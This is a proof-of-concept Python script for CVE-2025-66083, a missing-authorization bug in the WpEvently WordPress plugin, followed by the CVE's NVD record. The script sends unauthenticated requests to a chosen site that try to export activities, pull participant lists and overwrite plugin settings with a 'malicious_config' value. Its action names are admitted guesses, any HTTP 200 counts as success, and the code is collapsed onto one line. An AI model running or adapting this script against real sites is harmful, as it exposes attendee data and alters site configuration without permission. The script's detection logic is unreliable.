CVE-2025-66083

import requests import sys # CVE-2025-66083 PoC - WpEvently Missing Authorization # Target: WordPress site with WpEvently plugin <= 5.0.4 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-66083 This PoC demonstrates unauthorized access to protected endpoints """ # Define vulnerable endpoints (examples based on common WpEvently structure) # Actual endpoints may vary - use enumeration to identify vulnerable_endpoints = [ f"{target_url}/wp-admin/admin-ajax.php", f"{target_url}/wp-json/wp/v2/" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-66083 - Missing Authorization in WpEvently\n") # Test unauthenticated access to admin functions test_payloads = [ # Example: Activity export endpoint (requires admin auth) { "action": "mpe_export_activities", "format": "csv" }, # Example: Participant list access { "action": "mpe_get_participants", "event_id": "1" }, # Example: Settings modification { "action": "mpe_save_settings", "data": "malicious_config" } ] for payload in test_payloads: try: response = requests.post( vulnerable_endpoints[0], data=payload, timeout=10, verify=False ) # Check if request succeeded without authentication if response.status_code == 200: # Vulnerability exists if we get valid response without auth print(f"[!] VULNERABLE: Endpoint returned success without authentication") print(f" Payload: {payload}") print(f" Response: {response.text[:200]}...") return True else: print(f"[-] Protected: {payload}") except requests.RequestException as e: print(f"[!] Request failed: {e}") print("[*] No obvious vulnerability detected") print("[*] Manual testing recommended") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter target URL: ").strip() check_vulnerability(target)

{"cve": {"id": "CVE-2025-66083", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:49.263", "lastModified": "2026-04-27T18:16:34.297", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in magepeopleteam WpEvently mage-eventpress allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WpEvently: from n/a through <= 5.0.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/mage-eventpress/vulnerability/wordpress-wpevently-plugin-5-0-4-broken-access-control-vulnerability-2?_s_id=cve", "source": "[email protected]"}]}}